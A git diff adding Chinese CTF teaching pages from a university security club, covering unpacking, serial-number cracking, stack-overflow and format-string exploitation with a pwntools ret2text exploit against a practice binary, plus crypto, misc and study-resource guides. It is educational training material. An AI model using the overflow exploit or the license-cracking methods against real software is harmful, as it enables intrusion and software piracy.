+示例程序可以点击此处下载：[2_esp.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/2_esp.zip)
+
+还是上一篇的示例，入口一句 `pushad`, 我们按下 F8 执行 `pushad` 保存寄存器状态，我们可以在右边的寄存器窗口里发现 `ESP` 寄存器的值变为了红色，也即值发生了改变。
+
+![](https://cdn.xyxsw.site/boxcnJdWqlHmhlvB471dIGT4GEh.png)
+
+我们鼠标右击 `ESP` 寄存器的值，也就是图中的 `0019FF64`, 选择 `HW break[ESP]` 后，按下 `F9` 运行程序，程序会在触发断点时断下。如图来到了 `0040D3B0` 的位置。这里就是上一篇我们单步跟踪时到达的位置，剩余的就不再赘述。
+
+## 软件加密常用算法
+
+逆向中通常出现的加密算法包括 base64、TEA、AES、RC4、MD5、DES 等。
+
+## 序列号生成与破解与反破解
+
+早期软件序列号都是软件内部一套验证算法，本地进行验证序列号是否正确，或者本地校验格式再向服务器请求。这种软件的序列号破解只需找到内部验证算法，生成出一个合适的序列号即可，联网的软件就将联网屏蔽/做个假的服务器返回正确的信息等办法。如何找到验证算法是关键，此处就需要一定的逆向基础。现有的 CTF 逆向题基本都是从序列号破解的角度抽象出来的。
+
+如今的很多软件都已不再采用序列号机制，比如 steam 游戏，或者序列号的生成是单向不可逆的，此时就对软件的破解造成了一定的困难
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md
new file mode 100644
index 0000000..1c1b834
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用.md
@@ -0,0 +1,219 @@
+# 漏洞挖掘、漏洞利用
+
+## 常见二进制安全漏洞
+
+### 栈溢出
+
+#### 栈介绍
+
+栈是一种典型的后进先出 (Last in First Out) 的数据结构，其操作主要有压栈 (push) 与出栈 (pop) 两种操作，如下图所示（维基百科）。两种操作都操作栈顶，当然，它也有栈底。
+
+![](https://cdn.xyxsw.site/stack.png)
+
+高级语言在运行时都会被转换为汇编程序，在汇编程序运行过程中，充分利用了栈这一数据结构。每个程序在运行时都有虚拟地址空间，其中某一部分就是该程序对应的栈，用于保存函数调用信息和局部变量。此外，常见的操作也是压栈与出栈。需要注意的是，**程序的栈是从进程地址空间的高地址向低地址增长的**。
+
+#### 栈溢出基本原理
+
+以最基本的 C 语言为例，C 语言的函数局部变量就保存在栈中。
+
+```c
+#include<stdio.h>
+int main()
+{
+    char ch[8]={0};
+    char ch2[8]={0};
+    printf("ch: %p, ch2: %p",ch,ch2);
+}
+```
+
+对于如上程序，运行后可以发现`ch`和`a`的地址相差不大 (`a`和`ch`的顺序不一定固定为`a`在前`ch`在后)：
+
+![](https://cdn.xyxsw.site/out1.PNG)
+
+可以发现`ch`和`ch2`刚好差`8`个字节，也就是`ch`的长度。
+`ch`只有`8`个字节，那么如果我们向`ch`中写入超过`8`个字节的数据呢？很显然，会从`ch`处发生溢出，写入到`ch2`的空间中，覆盖`ch2`的内容。
+
+```c
+#include<stdio.h>
+int main()
+{
+    char ch[8]={0};
+    char ch2[8]={0};
+    scanf("%s",ch);
+    printf("ch: %s, ch2: %s",ch,ch2);
+}
+```
+
+![](https://cdn.xyxsw.site/out2.PNG)
+
+这就是栈溢出的基本原理。
+
+#### 栈溢出的基本利用
+
+##### 0x0
+
+对于以上程序，“栈溢出”带来的后果仅仅是修改了局部变量的值，会造成一些程序的逻辑错误：
+
+```c
+#include<stdio.h>
+int main()
+{
+    char input[20];
+    char password[]="vidar-team";
+    scanf("%s",input);
+    if(!strcmp(password,input))
+    {
+        printf("login success!");
+    }
+    else
+    {
+        printf("password is wrong!");
+    }
+    return 0;
+}
+```
+
+如上代码所示，如果我们想办法通过向 input 中输入过长的字符串覆盖掉 password 的内容，我们就可以实现任意 password“登录”。
+
+那么能不能有一些更劲爆的手段呢？
+
+> 以下内容涉及 x86 汇编语言知识
+
+在 C 语言编译之后，通常会产生汇编语言，汇编语言的字节码可以直接在物理 CPU 上运行。而 C 语言函数调用会被编译为如下形式：
+
+```c
+#include<stdio.h>
+int add(int a,int b)
+{
+    return a+b;
+}
+int main()
+{
+    int a,b;
+    scanf("%d %d",&a,&b);
+    printf("%d",add(a,b));
+    return 0;
+}
+```
+
+```asm
+add:
+endbr64
+push    rbp
+mov     rbp, rsp
+mov     [rbp+var_4], edi
+mov     [rbp+var_8], esi
+mov     edx, [rbp+var_4]
+mov     eax, [rbp+var_8]
+add     eax, edx
+pop     rbp
+retn
+
+main:
+endbr64
+push    rbp
+mov     rbp, rsp
+sub     rsp, 10h
+mov     rax, fs:28h
+mov     [rbp+var_8], rax
+xor     eax, eax
+lea     rdx, [rbp+var_C]
+lea     rax, [rbp+var_10]
+mov     rsi, rax
+lea     rax, format     ; "%d %d"
+mov     rdi, rax        ; format
+mov     eax, 0
+call    _scanf
+mov     edx, [rbp+var_C]
+mov     eax, [rbp+var_10]
+mov     esi, edx
+mov     edi, eax
+call    add
+mov     esi, eax
+lea     rax, aD         ; "%d"
+mov     rdi, rax        ; format
+mov     eax, 0
+call    _printf
+mov     eax, 0
+leave
+retn
+```
+
+可以看到其中使用`call`指令来调用`add`函数。那么该指令是如何工作的呢？其实`call`指令相当于`push next_loc;jmp loc`，通过将`call`指令下一行汇编的地址压栈的方式，等到函数调用完再取回，从而从`call`指令的下一行继续执行。由于栈地址从高向低生长，新调用的函数的局部变量生成在返回地址的上方（低地址处），因此如果我们在新函数中使用栈溢出来修改这一返回地址，如果将返回地址修改为某个函数的地址，就可以执行任意函数：
+
+![](https://cdn.xyxsw.site/stack2.png)
+
+> 注意该图中，使用 32 位的寄存器（EBP、ESP、EIP），实际原理一样的，并且上方为高地址，下方为低地址
+
+在此给出一道题作为例子：[ret2tetx](https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text)
+
+32 位的程序，我们使用 IDA 来打开该题目，查看反编译代码，可以发现有非常明显的栈溢出：
+
+![](https://cdn.xyxsw.site/main.png)
+
+由于第`8`行`gets`函数并没有检查输入的长度和`s`的长度，我们可以轻易地通过栈溢出来控制`main`函数的返回地址。而在程序中，存在另外一个函数`secure`，在该函数中有一个后门`system("/bin/sh")`，如果我们想办法执行该后门，就可以拿到目标机器的`shell`，从而控制目标计算机。
+
+由于我们需要将返回地址在标准输入中输入待测程序，而返回地址拆分成小端序的字节后经常无法手动输入到待测程序中，所以此处我们使用`pwntools`这一`python`包来方便地进行攻击。
+首先查看后门的地址：
+
+![](https://cdn.xyxsw.site/backdoor.png)
+
+接着计算溢出长度，这里我们使用 gdb 来调试程序，图中的 gdb 安装了 pwndbg 插件，该插件在 pwn 调试时比较好用：
+
+![](https://cdn.xyxsw.site/gdb.png)
+
+将断点打在`gets`函数前后，可以看到此时`esp`值为`0xffffcd80`，`ebp`值为`0xffffce08`，在 IDA 中我们又可以看到`s`相对于`esp`的偏移为`+1C`，此时我们即可计算`hex(0xffffcd80+0x1c-0xffffce08)=-0x6C`，即`s`相对于`ebp`的偏移为`0x6C`，由于在`main`函数的开头有`push ebp`的操作，所以将`0x6C`再加`4`，即可到达返回地址处：
+
+![](https://cdn.xyxsw.site/s.png)
+
+```python
+from pwn import *
+sh=process("./pwn")
+exp=b'a'*(0x6c+4)
+exp+=p32(0x0804863A) # 4 字节的返回地址
+sh.sendline(exp)
+sh.interactive() # 切换为手动交互模式
+```
+
+![](https://cdn.xyxsw.site/shell.png)
+
+##### 0x1
+
+通过上面的学习，我们已经可以知道执行任意函数的办法，但很多情况下，对于攻击者来说，程序中并没有可用的后门函数来达到攻击的目的，因此我们需要一种手段，来让程序执行任意代码（任意汇编代码），这样就可以最高效地进行攻击。ROP（Return Oriented Programming）面向返回编程就是这样的一种技术，在栈溢出的基础上，通过在程序中寻找以 retn 结尾的小片段（gadgets），来改变某些寄存器、栈变量等的值，再结合 Linux 下的系统调用，我们就可以执行需要的任意代码。
+
+ROP 网上已有非常系统的资料，在这里不做过多的叙述，可参考 ctf-wiki: [ret2shellcode](https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode)
+
+### 格式化字符串
+
+格式化字符串的利用思路来源于`printf`函数中的`%n`format 标签，该标签的作用和`%s`、`%d`等不同，是将已打印的字符串的长度返回到该标签对应的变量中。在正常情况下的使用不会出现什么问题：
+
+```c
+printf("abcd%n",&num);
+//输出abcd,并且num的值为4
+```
+
+但如果在编写代码时忘记 format 字符串：
+
+```c
+printf(something_want_print);
+```
+
+此时若攻击者可以自定义该字符串，就可以使用`%d`、`%p`、`%s`等打印栈上数据，或者`%n`来覆写栈上的数据，如果覆写了返回地址，就可以实现任意代码执行。
+
+```c
+char ch[20];
+scanf("%s",ch);// 输入 %d%n%n%n%n%n
+printf(ch);
+```
+
+## 漏洞挖掘技术
+
+### 代码审计
+
+代码审计分人工代码审计和自动化代码审计，人工审计由安全研究人员查看代码来发现漏洞，需要安全研究人员很高的研究经验，投入大量的人力。自动化代码审计目前的发展进度迅速，如由 Vidar-Team 毕业学长 LoRexxar 主导的开源项目 [Kunlun-M](https://github.com/LoRexxar/Kunlun-M)
+
+以及字节跳动公司开源的 [appshark](https://github.com/bytedance/appshark)
+
+### fuzz
+
+fuzz 是一种自动化测试手段，通过一定的算法生成一定规律的随机的数据输入到程序中，如果程序发生崩溃等异常，即可知道此处可能有漏洞。比较著名的有[AFL](https://github.com/google/AFL)、[AFLplusplus](https://github.com/AFLplusplus/AFLplusplus)、[libfuzzer](https://llvm.org/docs/LibFuzzer.html)、[honggfuzz](https://github.com/google/honggfuzz)等。
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全.md
new file mode 100644
index 0000000..3309fbe
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全.md
@@ -0,0 +1,54 @@
+# 二进制安全
+
+## 简介
+
+二进制安全在 CTF 中常分为 pwn 和 reverse 两大方向。
+
+pwn 主要研究漏洞的挖掘及其利用的手段，并利用漏洞攻击目标取得目标机器的权限。
+
+reverse 主要研究软件破解，软件加固，计算机病毒等。
+
+现实场景下，这两种方向通常界限比较模糊，统称的二进制安全主要研究漏洞挖掘，漏洞利用，软件加固，计算机病毒，游戏安全等。
+
+## 入门材料
+
+> HGAME Mini 2022 Reverse Pwn 入门材料
+>
+> Reverse:[逆向入门指南](https://www.notion.so/b92ca2bfaacf4e7c873882dff9dbf649)
+>
+> Pwn:[PWN 入门指北](https://ek1ng.oss-cn-hangzhou.aliyuncs.com/HGAME%20Mini%202022%20Pwn%E5%85%A5%E9%97%A8%E6%8C%87%E5%8C%97.pdf)
+
+## 学习二进制安全需要具备哪些基础？
+
+- 扎实的 C 语言基础，目前现有的各种二进制分析工具通常都会把汇编代码重新反编译为 C 语言程序。
+- 适当的软件开发经验，安全的基础是开发。
+- 扎实的汇编语言基础，如果你了解过编译的过程，就会知道现在的编译型语言，如 C，C++，go，rust 等，他们的编译产物通常都是对应架构的二进制程序，而二进制程序是可以直接反汇编成汇编代码的，换句话说，理论上能看懂汇编，就能看懂一切计算机程序。
+
+## 为了打好基础，我应该怎么学？
+
+::: tip 📥
+《C Primer Plus》（第六版中文版）（216MB）附件下载 <Download url="https://cdn.xyxsw.site/files/C%20Primer%20Plus%E7%AC%AC6%E7%89%88%20%E4%B8%AD%E6%96%87%E7%89%88.pdf"/>
+:::
+
+- C 语言推荐阅读《C Primer Plus》，C 语言领域的圣经。二进制对 C 语言的最低要求：熟练地使用链表完成约瑟夫环问题。
+- x86 汇编语言推荐阅读王爽的《汇编语言》，在本文编辑时已经出到了第四版。x86 是目前最常用的 CPU 架构之一，目前基本上所有的电脑，服务器都采用的 x86 架构。因此在初期的二进制学习中，学习 x86 汇编语言是没有什么问题的。x86 汇编语言历史比较悠久，从 Intel 公司的第一代处理器 8086 采用的 16 位 x86 汇编语言开始，已经逐步发展到现在的 32 位/64 位。王爽的《汇编语言》讲的就是 16 位 x86 汇编语言。可能有人会问，现在学 16 位汇编语言还有什么用吗？其实 x86 的基础命令，对汇编语言来说只是寄存器的命名有所不同，寄存器的宽度也由 16 位升到 32 位再到 64 位而已。比如在 16 位汇编中，加法命令是 `add ax,bx`（意思是 ax=ax+bx，ax 和 bx 都是 16bit 的寄存器），而到了 32 位汇编中是 `add eax,ebx`，64 位汇编中是 `add rax,rbx`。虽然这些语句翻译成字节码是有区别的，但对于汇编语言来说差别并不大，因此由 16 位汇编入门，简单易上手，后面扩展到 32/64 位也很容易，是非常合适的。
+- Python 的基本语法，Python 之所以没有作为“基础”，是因为在二进制安全中，Python 由于其简单，开发周期短的特性，往往充当一个锦上添花的工具的角色，比如在做逆向工程领域的研究时，使用 Python 来编写一些加解密脚本要比使用 C 语言快速。感受一下：
+
+```c
+#include<stdio.h>
+#include<string.h>
+int main()
+{
+    char ch[]="hello world";
+    for(int i=0;i<strlen(ch);i++)
+    {
+        putchar(ch[i]^0x33);
+    }
+}
+```
+
+```python
+print("".join(chr(ord(i)^0x33) for i in "hello world"))
+```
+
+但从方便学习的角度考虑，学习 Python 还是非常有好处的，因此学有余力的同学可以多加学习一下这一强大的工具。
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学.md
new file mode 100644
index 0000000..886f6c8
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学.md
@@ -0,0 +1,74 @@
+# 什么是密码学
+
+> 本文来自 HGAME Mini 2022 Crypto 入门材料。
+
+密码学分为密码编码学和密码分析学，前者寻求**提供信息机密性、完整性和非否认性等的方法**，后者研究**加密信息的破译和伪造等破坏密码技术所能提供安全性**的方法。CTF 比赛中的密码学题目偏向于密码分析。
+
+## 如何学习密码学
+
+### 数学基础
+
+数论，线性代数，抽象代数
+
+当你有了这些基础之后才能更熟练的使用一些数学工具。
+
+学习这些基础的东西最好的方法就是看书（群文件里都有哦～），如果是英文的话尽量看原著，这对后面看论文帮助很大。
+
+### 编程基础
+
+你可能需要了解一些 python 的基础语法。还有一些简单的算法。
+
+### 一些基础的密码系统
+
+古典密码：
+
+- 凯撒密码
+- 维吉尼亚密码
+- 栅栏密码
+- 希尔密码
+- 培根加密
+- 摩斯电码
+- 等
+
+现代密码：
+
+- RSA（非常经典）
+- AES
+- DES
+- ECC
+- 等
+
+还有近几年多起来的格密码
+
+主要看一些书籍，或者在 ctf-wiki.org 学习。学习的过程中尽可能的多写一些 demo，既锻炼了编程能力也可以更好的了解一些密码系统。
+
+有能力的同学可以先看一下这位教授的关于密码学的课程 [https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg](https://m.youtube.com/channel/UC1usFRN4LCMcfIV7UjHNuQg)
+
+## 工具
+
+一些 python 的库：
+
+- pycryptodome(就是 Crypto 库)
+
+[https://pycryptodome.readthedocs.io/en/latest/](https://pycryptodome.readthedocs.io/en/latest/)
+
+- gmpy2(数论)
+- sympy
+
+sagemath(一个功能极其强大的集成工具)
+
+## 刷题平台
+
+[https://cryptohack.org/](https://cryptohack.org/) (推荐)
+
+buuoj
+
+bugku(比较入门的题)
+
+ctfhub
+
+## 写在最后的话
+
+密码学可能刚入门起来感觉非常难受（可能不包括古典密码），但事实是不管那个方向或者说任何的一门学科的学习过程都是这样的（怪胎除外）。因为现在大家基本上都是兴趣驱动的，所以希望大家永远保持对新知识的好奇心，这样就不会感觉说这是一个任务一样的东西。其实密码学还是很有意思的。
+
+`synt{pelcg0_1f_r4fl_g0_fg4eg!!}`
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项.md
new file mode 100644
index 0000000..70cc394
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项.md
@@ -0,0 +1,141 @@
+# MISC 入门指南
+
+> 本文来自 HGAME Mini 2022 Misc 入门材料
+
+## MISC 简单介绍
+
+Misc 是 Miscellaneous 的缩写，杂项、混合体、大杂烩的意思，它是一个庞大而又有趣的分支，几乎会涉及所有分类的基础，包括内容安全、安全运维、网络编程、AI 安全等不属于传统分类的知识，作为发散思维、拓展自己的一个知识面而言也是挺不错的方向。
+
+**MISC 大概有这些方面内容**：
+
+- 信息收集
+- 编码转换
+- 隐写分析
+- 数字取证
+- ......
+
+![img](https://ctf-wiki.org/misc/figure/all.png)
+
+## 简单分块介绍
+
+### 信息收集
+
+#### 基本搜集技巧
+
+简单一句话：多问搜索引擎，搜就完事了！
+
+- 目标 Web 网页、地理位置、相关组织
+- Google 基本搜索与挖掘技巧（Google hacking）
+- 网站、域名、IP：whois 等
+- 通过搜索引擎查找特定安全漏洞或私密信息
+- 组织结构和人员、个人资料、电话、电子邮件
+- 企业等实体：YellowPage、企业信用信息网
+- 国内：百度地图、卫星地图、街景
+
+### 编码转换
+
+- 各种古典密码
+  - 摩斯电码
+  - 凯撒密码
+  - 栅栏密码
+  - ROT13
+  - 维吉尼亚密码
+
+- 计算机常用编码
+  - Ascii
+  - Unicode
+  - HTML 实体编码
+- 其他编码
+  - 二维码
+  - 条形码
+  - Js加密/Jother/JSFuck
+  - URL 编码
+  - Hex 编码
+  - Base 大家族
+  - MD5、SHA1 等类似加密型
+  - 与佛论禅
+  - 兽音译者
+  - ...
+
+### 隐写
+
+- 图片隐写
+  - jpg 隐写
+    - Steghide
+    - Stegdetect
+    - Slienteye
+    - Jhps
+  - png 隐写
+    - Stepsolve
+    - Stepic
+  - gif 隐写
+    - 时间
+    - 空间
+  - bmp 隐写
+    - LSB
+- 音频隐写
+  - 频谱
+  - 波形
+  - LSB
+  - Tools
+    - Wav
+      - Steganography
+      - steghide
+
+    - Mp3
+      - Mp3stego
+
+- 视频隐写
+  - MSU Stego
+  - TCStego
+
+- 文档隐写
+  - Word
+  - PDF
+- 流量包
+  - 协议
+  - 传输
+
+- 交换数据流
+  - NTFS
+
+- Vmdk
+  - dsfok-tools
+
+### 取证
+
+- 图片取证
+  - Jpg
+    - stegdetect
+  - Png
+    - Pngcheck
+    - Tweakpng
+- 音频取证
+  - Audacity
+- 视频取证
+  - FFmpeg
+- 流量包取证
+  - Wireshark
+  - Tshark
+  - Pacpfix
+- 内存取证
+  - Vol
+- 磁盘文件取证
+  - Ftx
+- 文档取证
+  - Pdf
+    - Pdf-parser
+    - Pdf-crack
+  - Word
+- 压缩包
+  - Zip
+    - Fcrackzip
+    - Apchpr
+    - Pkcrack
+  - Rar
+    - Rarcrack
+- 固件分析
+  - binwalk
+  - sleuthkit
+
+`VIDAR{Misc_1s_e4sy_t0_st4rt!!}`
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐.md
new file mode 100644
index 0000000..0d76360
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐.md
@@ -0,0 +1,46 @@
+# 学习资料推荐
+
+> 计算机基础是非常重要的，协会一直推荐打好基础，勿在浮沙筑高台。
+>
+> 以下是一些 CTF 领域写的不错的入门文章和平台，也可以根据文章内容进行学习～
+
+## 学习网站：
+
+学习其实最高效的可能还是通过打比赛，实操，看大牛博客来学习。但是感觉对于新人而言打好基础和入门是最重要的，很多时候入门了，发现感兴趣了，一切就顺利起来了。因此以下就先放一些容易使人入门的网站。
+
+- [Hello CTF](https://hello-ctf.com/)
+- [简介 - CTF Wiki (ctf-wiki.org)](https://ctf-wiki.org/)
+- [CTFHub](https://www.ctfhub.com/#/index)
+
+## 靶场推荐：
+
+- [主页 | NSSCTF](https://www.nssctf.cn/index)
+- [BUUCTF 在线评测 (buuoj.cn)](https://buuoj.cn/)
+- [攻防世界 (xctf.org.cn)](https://adworld.xctf.org.cn)
+- [Hack The Box: Hacking Training For The Best | Individuals & Companies](https://www.hackthebox.com/)
+- [CryptoHack – A fun, free platform for learning cryptography](https://cryptohack.org/)
+
+## 博客推荐：
+
+> 由于很多师傅都会在自己的博客发布自己的研究成果，所以这里有一些推荐阅读的博客～
+
+综合类博客：
+
+> 主题比较宽泛，大多是计算机技术相关
+
+- <https://www.leavesongs.com/>
+- <https://github.red/>
+- <https://lorexxar.cn/>
+- <https://su18.org/>
+
+安全类博客：
+
+> 主要是一些安全研究成果或者 CTF 竞赛题解，主要都是安全相关内容
+
+- <https://4ra1n.github.io/>
+- <https://y4tacker.github.io/>
+- <https://y4er.com/>
+- <https://cjovi.icu/>
+- <https://crazymanarmy.github.io/>
+- <https://blog.huli.tw/>
+- <https://blog.orange.tw/>
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全.md b/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全.md
new file mode 100644
index 0000000..24d3e0a
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全.md
@@ -0,0 +1,74 @@
+# 6.计算机安全
+
+> 本模块由 [Vidar-Team](https://vidar.club)  信息安全协会成员倾情奉献。
+>
+> Vidar-Team 成立于 2008 年 9 月，其名 Vidar 来源于北欧神话"诸神黄昏"中幸存于难、带领人类重建了家园的神 Víðarr，是由杭州电子科技大学一群热爱信息安全的小伙伴自发成立的技术型团体，作为高校战队活跃于各大 ctf 赛事。
+>
+> 2023 招新 QQ 群：861507440（仅向校内开放），欢迎对技术感兴趣的小伙伴加入我们！
+
+**招新方向汇总：**
+
+- Web（网络安全）
+  - 渗透（模拟黑客攻击，找寻漏洞，修补、加固系统）
+  - 开发（网络的搭建和维护，网站开发）
+  - 运维（各类服务器的运行维护，路由佬）
+- Bin（二进制安全）
+  - Pwn（关注软硬件的底层，对操作系统与应用程序本身进行攻击，如大名鼎鼎的永恒之蓝）
+  - Re（逆向工程，研究领域包括游戏安全、病毒分析、软件加密/解密、自动化程序分析及测试等）
+- 综合
+  - Misc 杂项（流量分析，电子取证，大数据统计等，覆盖面比较广）
+  - Crypto 密码学（与加密系统相关，从已加密的信息中破译明文）
+  - 无线安全（RFID，无线遥控，ADS-B，BLE，ZigBee，移动通信，卫星通信）
+  - Iot 安全 (从软件和硬件出发，多方向探索物联网设备)
+  - 人工智能安全 (使用人工智能技术赋能安全，模型本身安全问题)
+  - 美工（负责协会相关的设计，如比赛海报与 LOGO，会服、钥匙扣等等各类周边的制作）
+  - 计算机图形学（游戏开发，游戏引擎开发）
+
+**Vidar-Team 是技术类兴趣社团，为技术而生而不是为 CTF 而生**。
+
+## 什么是安全
+
+计算机安全，通俗的讲就是黑客，主要研究计算机领域的攻防技术，主要包括网络安全（Web）和二进制安全（Bin，包含 Pwn 和 Reverse）两大类。现有的 CTF 信息安全竞赛里面还会看到密码学（Crypto）和安全杂项（Misc），以及最近几年新兴的 IoT 安全，人工智能安全等方向。本系列文章会按照 CTF 的 5 个方向，Web、Pwn、Reverse、Crypto、Misc 来进行介绍。目前引入了 HGAME Mini2022 我们编写给新生的入门材料，在今年的 10 月份和寒假，我们也会分别举办 HGAME Mini 和 HGAME 这两场 CTF，来帮助新生更好的入门安全。
+
+## CTF 竞赛形式
+
+### 解题赛
+
+你需要做的事情很简单，利用你的安全知识去找出 flag。
+
+flag 可能是被加密的，你得想办法破解它；
+
+可能放在对方服务器上，你得把服务器打下来；
+
+甚至可能是出题人设计了一个不可能完成的小游戏，你得写外挂通关他...
+
+虽然要做的事情是一样的，题目是千变万化的，做题手段是不受限制的。所幸的是大家并不是孤军奋战，一个人一般只需要负责一个方向即可。
+
+### 攻防赛
+
+又叫 AWD，是攻防结合的形式，在攻击其他选手的服务器的同时，你需要找出自己的服务器上的漏洞并在其他选手发现之前修复它。
+
+比起解题赛或许做不出题很坐牢，AWD 非常的紧张刺激。
+
+### 适合我吗
+
+首先 CTF 适合绝大多数具有自主学习能力并对其感兴趣的人，他并不挑基础，大部分人都是在大学阶段起步的，不像 ACM，没有 OI 基础在杭电 ACM 真的相当难混。
+
+#### 劝学
+
+- 如果你曾经梦想过成为一名黑客，穿梭于网络世界，揭露隐藏的秘密，那么现在就是实现梦想的时候。
+- 如果你想追求最为纯粹的最为极致的计算机技术，不想被平庸的条条框框所束缚，那么是时候挣脱他们了，在这里不限手段不限方向。
+- 如果你对于普通的软件开发感到厌倦或者不满足，那么现在就是做出转变的时候。
+- 如果你是一个苦于常常无人可以交流的社恐技术宅，那么你能收获最单纯最诚挚的伙伴。
+- 如果你对计算机一无所知，只是觉得计算机不错选了计算机专业，那么作为门槛最低的竞赛之一，其自然可以成为你的选择。
+- 如果你单纯想捞钱，网络安全拥有着高于计算机平均的薪资。
+
+#### 劝退
+
+- 不知道为什么学计算机，不想学计算机，学不下去，不建议。
+- CTF 虽然门槛低，但是学习强度非常高，学习范围非常广，就比如说，经过一年半的学习，成熟的 CTF Web 选手一般能够审计任意主流编程语言的代码，并选择一种深入挖掘。
+- CTF 竞赛强度非常高，一周甚至可能会出现需要同时打 2-3 个竞赛的情况（参加多了结算奖学金的时候就很有意思），坚持不下来的不建议。
+- CTF 非常非常重实践，没有实际复现一个漏洞而纯理论学习和比赛当场学没本质区别。
+- CTF 对自主学习能力要求很高，一是因为确实玩法多，二是由于 CTF 是允许上网查找资料的（一般也必须允许），所以经常会出现比赛过程中当场极速学习的事情。
+
+总结：强度高，回报高，有且只有对技术有持续热情的人才能坚持下来。
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/backdoor.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/backdoor.png
new file mode 100644
index 0000000..5ef4558
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/backdoor.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png
new file mode 100644
index 0000000..748aa83
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn2seUNESHkLC9PYvDp0vFbe.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png
new file mode 100644
index 0000000..1a1b261
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn3kfhJ79ByNML2Z1Q1MwRye.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png
new file mode 100644
index 0000000..dd155b9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcn8TrpE02fnPV7dFzkmnHiAe.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png
new file mode 100644
index 0000000..2a69bc9
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnDeDp5yPE7W4KX9ByBl9ovh.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png
new file mode 100644
index 0000000..3381fd0
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnEDPFbKQ6iaM5WhHWUWmI5d.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png
new file mode 100644
index 0000000..61b6e32
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnHiNBWN86AR4AvSSsUVwSWb.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png
new file mode 100644
index 0000000..37c9440
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnI3jJNlLqq4f7WqRKGEWTeh.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png
new file mode 100644
index 0000000..58b381e
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJ3jImTQcMUOWJclTACj74e.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png
new file mode 100644
index 0000000..e8cb34b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJEeAKow3ZhUSvbL4FQXxOh.png differ
diff --git a/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png b/技术资源汇总(杭电支持版)/6.计算机安全/static/boxcnJdWqlHmhlvB471dIGT4GEh.png
new file mode 100644
index 0000000..0d8f8ec
